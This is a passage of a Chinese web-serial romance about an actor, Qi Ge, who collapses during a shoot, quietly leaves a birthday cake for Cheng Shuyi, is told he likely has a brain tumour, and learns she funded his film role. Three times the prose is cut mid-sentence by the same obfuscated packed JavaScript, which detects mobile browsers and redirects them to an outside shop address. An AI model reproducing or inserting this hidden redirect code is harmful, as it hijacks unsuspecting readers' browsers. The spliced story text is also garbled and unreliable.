程书仪把这几条消息反复读了几遍,终于后知后觉地想到,祁歌这是不是在表达一种被冷落的不满啊? 可能这些话他原本是想跟自己聊的,但这几天两人时间一直没对上,便只好这样单方面地讲出来。 好在,看起来应该是没生气(吧?),只是不太开心而已。 为了安抚对方的情绪,程书仪很认真地逐条回复了这些汇报。 拍摄环境其实不重要,片子出来能看就行;导演有自己想法挺好的,说不定这玩意儿真能火呢;没想到这些学生做事还挺认真,很罕见啊;你怎么还把厨师的活儿干了,加工资吗? 做任务一样回复完,程书仪又额外加了两句关心,嘱咐他照顾好身体之类的,便也想不出什么别的可说。 由于之前在忙的事情差不多告一段落,今天程书仪没太多安排。可能就是因为太闲了,才会陷入这些有的没的瞎想!人果然还是忙点好,程书仪想着。 也不知道祁歌什么时候拍完回来。 程书仪再次解锁了手机,打算问问清楚。 还没来得及敲字,她忽然发现跟祁歌的对话框最上面显示了一行“对方正在输入……” 已经在敲回复了,是这会儿没在拍吗? 程书仪停下手指等了一下,那行显示对方正在输入的字又无声无息地消失了。 他们对话框里并没有出现新的消息。 程书仪愣了愣,只觉得心里有点不安。 看来刚才隐隐约约不好的联想并非空穴来风,这个人是确实有点不对劲。 “我们再来一条这个场景啊,演员准备一下。” “好的,来,拍吧。”祁歌答应着,将拿在手中的手机息屏收入衣服口袋里。 也不知道该说什么,拍完再说吧。 今天他们拍摄还算顺利,基本完成了一小半场景的拍摄。 虽然导演晚上看过片子之后可能还会重拍一部分,但工作进度终于在向前推进了。 祁歌自己感觉这两天状态不是很好,有些精力不足。好在工作中呈现出的表演效果导演还比较满意,估计能按照排期完成拍摄。 别耽误后面的事儿就行。 这个剧本来就并非一个故事,而是试图在浩渺时间的慢慢烟尘中,悄然翻开一页鲜活的记忆。 画卷会失色,往事会被曲解,但至少此时此刻,恰似那时那刻。即便前路迷蒙,少年人的锐气和野望还在,也尚未被浮名利禄摧折。 完成了一天的拍摄,祁歌跟工作人员们道了别,顺着民居外面的小路往住的地方走去。 演员和工作人员都差不多住这边同一个旅店,这会儿三三两两的都在下班。祁歌不太想进行交际活动,低下头快走了几步,忽然觉得迈出去的那一步脚下有点空。 就像地面忽然间变得凹凸不平。 这种感觉有些熟悉,似乎和之前感冒时被程书仪送到私人医院那会儿差不多。 ……难道发烧了? 祁歌有些疑惑地停下来,抬手用手背试了一下额头。 额头上似乎有一层汗,触感是凉的。 可就这么短短几秒钟,他眼前已经变得模糊了不少,目之所及的景物开始微微摇动震颤。 等祁歌意识到这真的不太对劲时,已经太迟了。 他对身体的控制权被什么东西攘夺了,用噪点弥漫的喧嚣将他推入没有光线和感官的空洞之中。 他不知道这种模糊混乱的情况延续了多久,仿佛他的时间被暂时抹去了。 耳边听得清时,首先分辨出的是有人在讨论从这里叫救护车要等多久。 祁歌赶紧挣扎着要起来:“不用……救护车。” 他心里大概猜到自己怎么回事,无非是最近身体和精神状况都称不上稳定,导致又出现了奇奇怪怪的躯体化反应,一般过去也就好了。 其实祁歌最近都在按时吃药,吃的是一种最近找新的医生开的新药。经过人肉测试,这次的药的副作用主要体现在会让人无限昏睡。 但至少是有效的,祁歌每天吃半片,情况都还挺正常。 或许是这种药的效果容易减退,抑或副作用比较迟发? 久病成医,祁歌人还躺在地上,脑子已经可以自行推断这个身体到底遇到了什么问题。 “祁老师哪里不舒服?送你去医院吧?……戏不急。”导演跑过来这样说。 一个导演能说出“戏不急”这几个字,实在太令人感动了。 祁歌在旁边人的帮助下艰难站了起来:“没事,有点中暑了可能。” “真没事?” 祁歌冲着导演笑了笑:“我回去歇会儿就行。” 导演皱着眉头,看起来还是很担心:“别强撑啊,回去如果还是不舒服,随时联系我,或者跟场记说……” “好了我知道了,”祁歌双手抓着导演的肩膀把人转了半圈,“您去忙吧,我心里有数。” 说实话,祁歌这会儿有点没数。 但不管怎么说,整个剧拍摄完成也就一两天的事,到时候回市里再去找医生看看,换个药试试。 兵来将挡水来土掩罢了。 祁歌在两个学生的护送下回到房间,只草草洗漱了一下就上了床。 他感觉自己好像睡了很久,又好像刚刚迷迷糊糊睡着,就被一阵剧烈的头痛惊醒了。 这种感觉就像触电,痉挛般的痛楚猛烈袭来又很快烟消云散。祁歌只觉脑子有点发烫,神经里隐痛的余韵一丝丝扩散到四肢百骸。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578296|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管是中暑还是抑郁症的躯体化反应,这都有点太可怕了。 祁歌犹豫着摸出手机,给高姐发了个消息,说最近想约个时间去趟医院。 高姐没回复。 再看一眼时间,原来现在已经凌晨三点多!这时间也太阴间了,祁歌马上想点击撤回,却已经错过了撤回的时限。 他心虚地塞回手机,只听一声闷闷的消息提示音忽然响起。 “祁老师,休息了吗?” 点开才发现这条消息不是高姐回的,而是来自导演。 祁歌马上回复道:“导演有事吗?我已经睡醒了。” 那边没回复。 过了没几秒,祁歌听到自己的房门被轻轻敲响,这位导演竟然直接来敲门了。 “抱歉这么晚打扰你休息,实在不应该,可是您后面还有档期,时间紧,我又怕拍得不合适……” 祁歌被他逗笑了。 “导儿,真没事儿,”他温言宽慰,“您有什么要求直接讲就好。” “也不是要求,就是跟你探讨一下,”导演也不再兜圈子,直接说明了来意,“我刚才看今天的视频,感觉你给这个人物的底色有一点,怎么说,悲?” “导演是希望我表现得高兴一点,融入氛围?”祁歌立刻自我反省,“没问题今天我调整一下。” 导演赶快摆手:“我不是那个意思,祁老师你别误会,我尊重您对角色的理解。我是回看我们拍好的部分的时候,觉得您对这个戏很有想法,就想问问关于明天要拍的那部分,您有没有什么……因为拍到现在感觉有点平?” “我明白了,”祁歌点头,“导演想用乐景写悲情?” “对,还不能太明显,因为我们要忠于原作嘛。” “那画面效果不能动,音乐可以动,最好也不大动……”祁歌托着下巴若有所思,“要不就,回到画卷里?” “我也想过这个方案!”导演跟祁歌击掌,兴致勃勃地当场画起了分镜。 程书仪看着手机里祁歌的消息陷入沉思。 一觉醒来,他们之前努力开展的话题全都被搁置,祁歌只回了一句:“周日晚上有事吗?” 程书仪看了眼日程,好巧不巧周日还真的有事,约了几个合作伙伴在家里面谈,估计会比较晚。 她没直接答,而是问了句:“你有什么事吗?” 快中午的时候祁歌发了视频聊天过来,眼睫笑成一弯月:“没什么事儿,我周日就拍完了,回A市有个活动,你忙你的。” “周日就回来了?”程书仪挺开心,“那活动结束需要接的话说一声。” “好,不过应该不用,高姐说公司会管我的,”祁歌讲了没两句,背景传出乱糟糟的一阵杂音,“这边场地要清出来,我要被赶走啦,回去再聊吧!” 挂断电话后程书仪继续沉思。 这个人好像在装。 她算是挺了解祁歌了,知道他这种快乐轻松的状态并非自然流露。 只是看他脸色虽然有点惨淡,但整个人状态还行,不像是正在忍受什么痛苦。 难道和自己腾不出周日的时间有关? 那……干脆把周一早上的会议取消好了。程书仪做出风马牛不相干的决定。 40. 先走了 “回来了吗?”高姐的电话不容抵抗地把祁歌从浅眠中叫醒。 “在车上,很快到了,”祁歌答,“我直接去化妆间。” 高姐应了一声:“明天早上给你约了医生,你晚上住哪里?” “我……”祁歌犹豫了一下,“到时候再说吧。” 高姐没去计较他的莫名犹豫:“今天的直播间应该人气挺高的,你谨言慎行,宁可少说别说错话。” “知道了知道了,”祁歌笑,“我你还不放心吗。” “你最近可没少给我添活儿。”高姐丢下这句半是警告半是埋怨的话,迅速挂了电话。 祁歌撇撇嘴,看看好像快到了,左右也睡不着了,便划开手机去找程书仪的消息框。 他们的聊天停留在祁歌给程书仪发了直播的链接,程书仪遗憾表示确实没时间,看不成,回头看回放吧。 “倒也不用费事儿,”祁歌这样回复道,“这次我只是个配角。” 他私心有点想听程书仪说些类似“等你当了主角……”的话。每每听到她如此笃定地对自己的未来充满信心,祁歌就会觉得心里踏实了那么一点。 可惜程书仪大概是太忙了,只简单回了个表情包,什么都没说。 想到这里,祁歌忽然心里有些警惕起来。 他好像仍想从程书仪身上获得更多的东西。 虽说不算什么错,可是这些这并非他的初衷。 “祁老师,我们到了。”司机出声打断了他的自我剖析,“我会在停车场等,结束后您跟我联系。” “好的,谢谢老师。”祁歌欠身下车。 这间大楼里驻扎着好几个知名的传媒公司,楼门口常年有粉丝蹲守。这会儿停车位外面站着几个维持秩序的工作人员,见他到了,都笑着迎了上来。 祁歌也挂上笑容,跟大家一一致意,顺着指引往前走。 他还没化妆,不过出来前出于艺人形象管理稍微给脸打了个底,还戴了宽沿的帽子,以免在这短短的三五步里被拍出一辈子都撤不掉的丑照。 好在担心是多余的,在场的粉丝看起来都挺礼貌克制,没有人界限全无地贴脸按快门。 祁歌脑子里这句评价还没落地,耳边忽然传来粉丝堆里此起彼伏的一阵尖叫。 他下意识闻声看去,只见就在他身后又来了一辆保姆车。 一定是这部剧的主角到场了。 “祁老师,我们这边走吧。”祁歌身边的工作人员催促道。 哦,对了,祁歌后知后觉,他站在这儿不走,大概会影响对方营业的。 于是他加快步伐,跟着工作人员先一步进入了大楼,将那些喧哗声留在了身后。 这场直播说是要进行剧集的完结宣传,其实是要趁热度还在,给各位金主爸爸们做个回馈。 上播前,祁歌的公司罕见地派来了一位临时助理在摄像机前就位。这位姑娘的主要任务大概是要盯着阻止祁歌说什么不恰当的话。直播开始后,她板着脸维持双手抱臂姿势,两眼直勾勾地盯着祁歌,稍有不对的苗头就果断对他比“No”。 “对,我们这个戏拍得确实挺不容易……”祁歌刚开口回答主持人的问题,就看到小姑娘再一次摇头,也不知道这是对自己有了什么预判。 祁歌没懂,却也试探着顺着她的意思转了话头:“但组里氛围一直很好,我们很有默契,互相的配合都很顺畅。” 小姑娘看起来还是不太满意,眉头紧紧皱着。 祁歌微不可查地耸了下肩,意思是我尽力了。 他折腾一天也没吃几口东西,这会儿觉得血糖值逐步下落,脑子里晕晕乎乎,都快不转了。 “那接下来我们抽个奖吧,”主持人建议道,“我来介绍一下我们剧组给粉丝宝宝们准备的礼物……” 这些礼物当然都是赞助商的手笔,虽然之前的合同里并不包括直播带货,但在直播中将礼物抽奖送出,也多少能起到宣传的作用。 祁歌记得开播前自己也被分配了句词儿,用来夸这个产品的,是什么词儿来着…… 他记性一向还不错,拍戏时大段大段的台词都很少出错,没想到今天就这么一句话,居然毫无痕迹地从脑子里溜走了。 难以置信,祁歌微微眯起眼睛陷入自我怀疑,连困扰了自己半天的头晕和头痛都忘了。 ……是,什么来着…… 他稍微低下头合眼回想了一下,除了更晕了之外,依然一无所获。 难道最近演的这个戏台词量太少,背词功力退化了? 祁歌有些绝望地抬起头,正好看到那位临时的助理小姑娘手里举起一张白纸,上面用记号笔写出了他的那句广告词,墨痕还是湿的。 这也太及时了! 一瞬间,祁歌对这位助理的个人印象实现了大幅度逆转。 这位真是专业的。 有惊无险地熬到下播,祁歌特意先过去感谢了这位小姑娘。 “不用,这是我的工作,”小姑娘依然面色冷冷,收拾着东西,“麻烦下次您配合我一点。” “我这还不配合?”祁歌讶然。 “高姐应该教过您,”小姑娘严肃认真地看着他,“不要诉苦,不要过度渲染跟同事的感情。刚才您一口气犯了这俩错误,回头被扣钱可不是我的责任,我尽到提醒义务了。” 祁歌半张着嘴:“啊……这么严格吗。” 他看得出这位助理在努力抑制对自己翻白眼的冲动。 “您现在有流量了,不是小透明艺人,一举一动一字一句都要注意,不然哪天翻车都不知道怎么翻的。” 言之有理。祁歌赶紧双手合十讨饶。 卸了妆之后祁歌才拿回手机,发现手机屏幕上有高姐对他此次直播的犀利评价(他有点懒得看,干脆先已读不回了),有司机告知已到门口附近,请他准备出来时说一声(祁歌赶紧回复几分钟就出来),还有一些七七八八的通知短信(全部一键设为已读)。 好的,现在屏幕上干干净净,再也没有其他通知了。 程书仪果然没联系过他。 于是祁歌又在化妆椅上坐了几秒,才起身走出门。 夜幕深深,又一项工作就这样没什么存在感地结束了。 在如今这个行业形势下,每一次出镜的机会对于他这种演员来说都是珍贵的。但祁歌仍然觉得空虚。 不是因为他只是个配角,也不是因为被严格管控起了言论……这些都是工作,他都理解。 他也完全能理解程书仪今天是真的有事,顾不上他。 在他们的相处中,两人对彼此的事业始终是百分百的支持。这一点祁歌一直很认同也很感激。 所以归根结底,一定是最近自己的状态不对,才会又陷入在那种深重稠密又无的放矢的忧虑之中。 不能放任自己这样,祁歌想着,程书仪不会喜欢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578297|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道为什么,“程书仪不会喜欢这样的自己”这个思路,竟然给了他一点抛却这些没来由烦恼的勇气。 “就在前面路口停吧。”祁歌对司机说。 “您住这里?”司机有些摸不着头脑地向外看了一眼。 祁歌对他笑了笑:“我有点事,后面不用您送了,今天辛苦了。” 司机没再说什么,停车跟他道了别。 此刻毕竟已经很晚了,路边人烟稀少,亮着灯的店面不多。 但祁歌已经早早预定过想要的东西,也特意跟店员讲过,可能会来得晚一点,烦请等他一会儿。 尽管无法把控的事情太多,至少这件事在他心里是稳妥的。 祁歌推门下了车,径直走向那个明亮而漂亮的橱窗。 已经这么晚了。 程书仪前脚送走了客人,后脚一边整理资料一边抬头望了望窗外,忽然发现外面的路灯都已经自动调成了深夜的微暗模式。 今晚她原本是安排了跟几个朋友的常规交流,谁知道下午公司那边有客户针对突发事件提了加急的诉求,需要尽快协调,于是程书仪极限忙碌了好几个小时,开了个临时会议,再回来赶场子,这会儿才终于喘了一口气。 对了,祁歌今晚的活动不知道结束了没。今晚没顾上找他,明天倒是还算有空,可以约一约。 程书仪想着,拿起手机走出小会客厅打算上楼休息,忽然余光扫到客厅的桌子上放着个貌似挺精致的大纸盒子。 太晚了,家里阿姨早就睡了,程书仪没当回事,懒得去查看继续抬脚往楼上走,却在看清手机屏幕的一刻顿了顿。 祁歌:蛋糕我放在外面,先走了。祝你生日快乐 发送时间是接近十二点。 啊,没错,今天确实是她的生日。 到了这个年龄,对生日早就没什么惦念。程书仪从早上起就陆续收到好几个蛋糕,合作方送的朋友送的公司送的……她最近在健身,也不太想吃这些,看都没看,大大小小地堆在厨房里。 阿姨……应该都收起来了吧。 程书仪迟疑着走向客厅,隔着那白色纸盒中间的透明塑料片向里看去。盒子里不算太大的白色蛋糕上放着许多切好的水果,草莓车厘子的颜色鲜艳,看起来都很新鲜,应该是刚刚做好不久。 程书仪按亮手机又按灭下去。 她今天日程实在太紧,晚上约好的这个小交流会稍迟了点才开始,她提前跟阿姨说过不要打扰。 大概就是因为这个,祁歌也没去打扰她,只发了条消息,就这么静悄悄地走了。 这样想着,程书仪打开客厅的灯,在沙发上坐了下来。 蛋糕盒子上的缎带一扯即松,蝴蝶结下面妥帖地放了纸板生日帽、银色的小碟子小叉子和一支金色的蜡烛。 程书仪将这些挪到一边,小心地拿起蛋糕盒罩,将下面的小蛋糕一整个露出来。 这种放了新鲜水果的蛋糕是最不禁放的,水果的汁水和奶油混在一起,即使是放在冷藏也很快就会变质。 程书仪拆了一支叉子,直接从蛋糕边沿挑了点奶油花边尝了尝。 奶油绵密清凉,味道不是很甜,慢慢在嘴里漫开浓郁的奶香味。 她又接着尝了几块水果,这才给祁歌回消息: 蛋糕很好吃,你今天还有安排吗? 大概因为实在是太晚了,消息发出后,她并没有收到回应。 41. 诊断书 “你在这儿稍等一下,我找个老师帮你看一下。” 正在看诊的医生猝然丢下这句话起身离开,将祁歌留在诊室里跟小护士面面相觑。 祁歌昨天没睡几个小时,本来困得有点神志不清,这会儿才从这忽然降临的几秒沉默中品出了点不安。 “我这个……”他试探着开口问,“不会有什么问题吧?” “您等一下我们老师吧,”小护士敲了几下电脑,冲他安抚地笑了笑,“可能片子看不太清。” 祁歌闻言扭头看了看灯箱上朦朦胧胧的黑白色影像,奈何自己医学知识浅薄,确实看不出个所以然。 他记得高姐昨晚说给他挂了个主任号,嘱他今天早点来看诊,这位应该不是毫无经验的年轻大夫。 这下心情更忐忑了。 祁歌原本计划快点看完医生,再问问程书仪今天有没有时间一起吃饭。 谁知道来了医院之后看诊拍片看片的流程都比预想更漫长一些,转眼已经快中午了。 程书仪想必已经起床了。 祁歌想着回复一句什么,可还没组织好语言,诊室的门又被重新推开了。 一位鬓边微白的医生当先走了进来。 “我看看啊……”这位老者的声音和他的脚步一样十分从容不迫,“嗯,这里确实有个占位,小伙子有症状多久啦?” 祁歌一时不知道说的是什么症状,便按平时的看诊习惯进行汇报:“抑郁症有好几年了时好时坏,睡眠障碍一直都有,用药之后的副作用很多……” “有没有头晕头痛,恶心,记忆力下降这种症状?”医生拿起笔在纸上勾勾写写。 祁歌回想了一下,诚实地点头:“都有,不过是最近一周变得比较频繁和剧烈。” “那有没有过视力缺损呢?就是眼睛有一块看不到东西。” “没有,”祁歌摇摇头,“但偶尔有视力模糊的感觉,一会儿又好了。” “好,有没有乏力感,比如说单侧的手脚麻木无力?” “没有吧……”祁歌再次摇摇头,又忍不住问,“医生,我这个是什么严重的病吗?” “你……家人今天来了吗?” 在医院里这句话一出,任何人心里都会咯噔一下,祁歌也不例外。 祁歌的家人远在家乡,两人都是一辈子兢兢业业上班的普通人,将来退休有退休金,不指望儿子养活。但这辈子有限的生活经验总觉着演员这职业不怎么安稳,时不时的劝祁歌回家里这边找个班上上。 他们一辈子最厌恶的就是风险,大概不太能从容接受这种悬而未决的坏消息。 “没关系,您跟我说就行。”祁歌勉强笑了一下,试图让自己看起来成熟可信,“我父母年龄大了,也不在本地……是什么绝症吗?” 医生面容沉稳地摇头:“现在还不能这么说,从你的CT结果来看,颅内确实有实质性占位性的病变,在这里……” 他站起身用手里的笔指着片子上的某处阴影给祁歌看。 “……可能是某种病变或者肿瘤,目前还不能确诊。但不管它是什么,肯定是脑子里不该长的东西你明白吧,接下来我建议你先去做一个磁共振,我们再来看看它的具体情况。” 祁歌点点头,再一次抬起头看了看那张片子上的阴影。 医生继续说了下去:“大部分的脑肿瘤最终都需要进行组织活检来确诊,你的症状结合片子来看,我们怀疑是胶质瘤的可能性大,如果磁共振扫出来跟我们的预判差不多的话,需要对这个病变进行手术清除,术后再根据组织活检决定后续的治疗。” 也不知道是因为最近反应慢,还是这段话里确实有很多难以理解的词汇,祁歌在原地怔了半天。 这些词句的意思从他脑海中飘来飘去,找不到一个能落下来的地点。 “你看……需不需要叫你的亲属或者朋友过来,我们可以跟他们也详细说一下这个情况。”那位年轻一些的医生开口问道。 “哦不用,不用……”祁歌赶紧接上了话,“这个……确诊的概率高吗?” 年迈的医生望向他的目光里满是令人胆寒的慈祥:“怎么说呢,胶质瘤这个病并不罕见,就算是确诊了,我们也是有治疗方案的,你不用太担心。现在还是要尽快完善检查,有条件的话抓紧时间入院手术。你回去跟家人商量一下吧。” 祁歌到底没回复程书仪的那条消息。 其实他现在不太知道要跟谁商量比较好。 高姐那边肯定是要通知的,毕竟会关乎后面的工作安排。虽然目前下一部戏还没确定,但谁知道公司会不会正在努力为他争取。 还有就是手术的费用。这些年他交着医保,积蓄也多少有点,手术前还是交得起的,就是如果后续的疗程很长,大概迟早会捉襟见肘。 但不管怎么说,这些都可以等到做完磁共振之后再逐一安排。 本来今天他脑子里全是关于程书仪的事,现在来这么一遭,将脑子都占满了,有关程书仪的思绪就被挤到某个角落里。 祁歌在医院大门外的长椅上稍坐了一会儿。 昨天晚上,他也在程书仪的沙发上这样坐了一会儿。 “……要不您打个电话跟小姐说一下?”阿姨建议道。 “不用了,”祁歌摆摆手,“我等她吧。” 程书仪既然嘱咐了不要打扰,肯定是有什么重要的事。 他不觉得自己有这种优先级,可以打断程书仪的会议什么的。 他进门时习惯性先去厨房看了眼,正好看到阿姨正在进行规划,试图将几个没拆封的生日蛋糕放进冰箱。 “这么多?”他笑着咋舌道,“这都是谁送的?” “这我也不清楚。”阿姨语焉不详地答道。 祁歌也没再问。 他想着,程书仪可能不会缺人给她过生日,她只是对这个没什么兴趣。 但无论如何,还是想订一个程书仪会喜欢的蛋糕,想在这个日期过去之前见到她,亲口说一句生日快乐。 当然了,想必这个对程书仪来说也不怎么重要。 他只能悄悄计划,赶在工作结束去拿这个明显多余的蛋糕,再小心翼翼地抱着打车来到这里等待。 他只能坐在这个舒服的沙发上发一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578298|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿呆,眼看着时间快到零点,才不得不站起身,掏出手机发了条消息。 这些感受在一刻钟之前还算是清晰的,他甚至想好了要跟程书仪讨要点补偿什么的。 但现在这些却仿佛隔了一层什么东西一样变得不再真切。 刺耳的“叮咚”之后,是机械的女声。 “欢迎光临” 祁歌的目光在简单的招牌上过了一遍,随意挑了个简短的名字。 “一份清汤面。” 他找了个空位坐下来,心不在焉地掰开一次性筷子。 他需要吃点东西,再回去休息一下。 医生说了,让他回去好好休息,不要太担心。 不管怎么说,遵医嘱总没有错。 面条在眼前冒着烟被端上来,祁歌放在桌上的手机开始震动。 不是高姐,是程书仪。 祁歌盯着手机愣了会儿,直到屏幕暗下去才赶紧伸手拿起来,将电话拨了回去。 “在忙吗?”程书仪第一句就把他问住了。 “嗯……还好,”祁歌扯了下嘴角,“今天稍微有点事。” “哦……”程书仪的声音里听不出什么感情色彩,“那你中午吃饭了吗?” 祁歌摇头又点头:“正在吃呢,你呢,今天什么安排?” “我下午有个会,晚上要不要一起吃个饭?”程书仪问,“好久没见你了。” 也不知道怎么回事,听到她这么一句话,祁歌顿觉眼眶有点酸,一时没能说出话来。 在心里那个属于程书仪的小小角落里,这句话也是他想说的。 好久没见了,我……好想你啊。 “昨天是公司突然有状况,我忙着处理,后来又临时开了个会,一直赶场太忙了,都忘了过生日的事。”程书仪的声音继续稳定而柔和地从电话那边传来。 祁歌又愣了两秒,才反应过来程书仪是在解释。 跟自己。 这种感觉似乎有点陌生。 客观来说,昨天只能怪自己毫无预兆地搞突然造访,没对上程书仪的行程而已。 “没事儿,”祁歌这次真的笑了出来,“我就是……” ……是什么呢? 他感觉笑容在脸上僵了僵。 不是生气,也不是委屈,此刻在心里面漫漶着的,到底是什么东西呢? 非要说的话,好像……是渴望。 渴望获得同样的澄澈的爱,渴望平等地站在她身边,渴望什么都能说,什么都能做,被安全包裹,不必蹲在昏黄的灯光下,小心翼翼地摆好那块她毫不知情的、极限赶来的蛋糕。 只是他们之间的距离还是这样远,似乎不论他如何靠近,都没办法真的走进她的心里。 他想起倾城之恋,如果世界就要毁灭,人与人之间会否多一点敞开的心扉。 如果他还能做更多,如果爱里可以不用有这么多的狼狈……如果…… “那今晚给你补过生日吧。”祁歌最后说。 “这倒是大可不必。”程书仪立马诚实吐槽。 祁歌又笑了出来:“那晚上见。” 42. 等一等 后来回忆起来,那天晚上是他们在很长一段时间中,最轻松愉快的一次相处。 餐厅里灯光柔和,氛围优雅。长发披肩的琴师纤指翻飞下,小提琴的乐曲悠扬婉转,找不出一丝不和谐的音符。 祁歌从最近的拍摄经历中精挑细选了几个有趣的洋相讲给程书仪听,赚得程书仪婉然一笑。 程书仪也大概给他讲了讲最近工作中的新收获,最近各种行业的机会都不少,有赖于精准的眼光和周密的计算,她的公司也算做得风生水起。 “那祝贺你啊,书仪。”祁歌真诚地说。 程书仪摇头:“只是个不错的开始,等我真的达到目标再祝贺吧。” 祁歌用手拖着下巴,微笑着看着她。 哎,这就是程书仪啊。 “干什么?”程书仪看他的眼神里写着犯什么神经。 祁歌笑出了声:“就看看你。” 时间裹挟着命运的呼啸从耳边掠过时,他们都曾充耳不闻,以为那只是窗外一阵无关紧要的风。 去做磁共振时,祁歌自觉心境已经平和了许多。 不过这机器可真吵啊。 指望在里面补会儿觉的希望是完全碎灭了。 祁歌身心平静地躺在检查床上。 这几天他似乎还挺适应这个状态,放任自己什么都不想,也什么都不做,只维持呼吸,并等待时间过去。 都会过去的。 从检查室出来,祁歌才发现高姐给他打了三个电话。 这已经打破了高姐不超过两个连续电话的礼貌阈值,必定有什么重要的事发生。 其实祁歌还没想好该怎么跟高姐说自己生病的事,那天看完医生,他以“还要等结果”搪塞了高姐,也没提自己后面的工作安排需要调整。 别是又突然接了什么难以推掉的活吧…… 祁歌打了个寒战,赶紧回了电话过去。 “你的假期结束了。”高姐第一句话就说。 “啊?”一时千头万绪梗死在了祁歌的喉咙,“可是……” “别可是了,我还不知道你吗,休息两天立马开始焦虑。我跟你说,这个角色能拿下不容易,你也知道这电影名导向来软硬不吃,当初把你塞进试镜名单就算公司仁至义尽了,没想到让你捡了大运。我也是刚接到通知,后天就要开机了,今天居然就紧急定了你。” “后天?”祁歌讶然。 “你这什么关注点,”高姐十分不满,“把脑子里的水倒一倒,你要拍电影了,我的大明星。” 祁歌的脑子里此刻乱七八糟。 首先是脑子里当然没进水,只是长了个比较棘手的东西,还不知道具体要怎么弄出来。 其次是磁共振的结果明天不一定出得来,后天就要开机,到时候怎么取结果呢? 这部电影也算业界里的大制作,也是他唯一参加过的一个电影试镜。当时也没抱什么希望,只是出于对这位导演的喜爱,跟公司争取了一下,获得了试镜机会,算是公费追了个星。 当时试的是个有那么几句词的配角,不算太重的戏份,在电影里最多也就几分钟,更有可能会是一闪而过。但祁歌喜欢那个角色的纯然天真,还真的挺想演的。 只不过自己现在的情况…… “高姐,要不这个……”他吞了下口水,艰难地开口。 “行了不说了,”高姐没时间理会他的欲言又止,“总之导演说今天要见你一面,时间地址我发你了。” 祁歌望着挂断的电话发呆。 高姐当然想不到,他未出口的话是拒绝。 这种事,谁又能想到呢。 或者去赴这个约也好,想必这个角色的人选不会只有自己一个。能再次见到最喜欢的导演,当面解释一下,也算是表示了尊重。 祁歌这样想着,手上先给程书仪发了消息,说晚上临时有个事,可能没办法赴约,要不要后面再约时间。 程书仪很快地回了消息:“没事,你忙你的。” 很符合程书仪一贯的简洁明了,文字里都没什么感情色彩。 但祁歌总忍不住想要更多。 “我接了个新戏,是个电影里的配角。”他这样发过去。 程书仪这次的回复明显鲜活了不少:“那太好了,祁老师也是摸到大制作了。” 祁歌笑了一声,又半真半假地打字去抱怨:“我有点担心。” “担心什么?” 这次换祁歌思考了一会儿。 ……等一下,程书仪的反应好像有点不太对。 她的用词会不会太过准确了? “摸到”指的是他只能蹭到点边,“大制作”指的是这部电影的大体量。 可是……这些她是怎么知道的呢? 祁歌呆立片刻,再次给高姐打了电话过去。 “说。” “这个电影还没宣布演员吧?” “当然没有,官宣前不要说出去这不用我教你了吧?还没回过神呢?”高姐那边的话音伴着噼里啪啦的键盘声。 “不是,姐……”祁歌斟酌着用词,“试镜过去这么久了,你知不知道,这次为什么忽然定了我?” 高姐那边的键盘声停了一停:“你是真不知道?” “……之前是,现在猜到点了。”祁歌说。 “没想到她对你还挺好的,”高姐直接肯定了他的猜测,“虽然说投资的事也不一定没有回报,但据我了解她之前可没主动投过这行。” 于是祁歌想起那天吃饭的时候程书仪提到最近也看了几眼传媒类公司,还问他这些龙头公司现在都有哪些项目。 这种事不是那么快就能办好的,想必当时程书仪已经把协议谈得差不多,只是来试探一下他的意向。 搞清楚了这些,祁歌望着信息栏里的那句“担心什么”发了会儿呆。 他以为,程书仪不是会做这样的事的人。 倒不是说用资金争取角色这件事有什么问题,只是…… 程书仪经常给他提建议,却不会自作主张地默默替他做什么事。 这就很不程书仪。 “担心完不成,或者做得不好。”最后祁歌在消息框里这样写道。 程书仪的回答一如既往的简单笃定:“但是我相信你。” 祁歌将手机关了静音收进口袋。 够了,他想,有这句话就够了。 导演给的见面地点是一个小院子,里面已经坐了好几个人。 高姐在门口将祁歌引进去,跟导演介绍了一下,便退了出去。 祁歌鞠躬之后便有点不知所措。 “小祁别拘束,一块坐吧,”导演开口招呼道,“这些都是我们电影的主创,你认一认人,等开工了也熟悉些。” 导演发了话,围坐在桌前的几个人便跟祁歌自我介绍了一下,互相握了手,寒暄间酒水也敬了一圈。 其中副导演客套了两句就切入了正题:“小祁你要抓紧看看剧本,当时试镜是一回事,到了片场肯定还会做很多调整,时间紧任务重啊。”

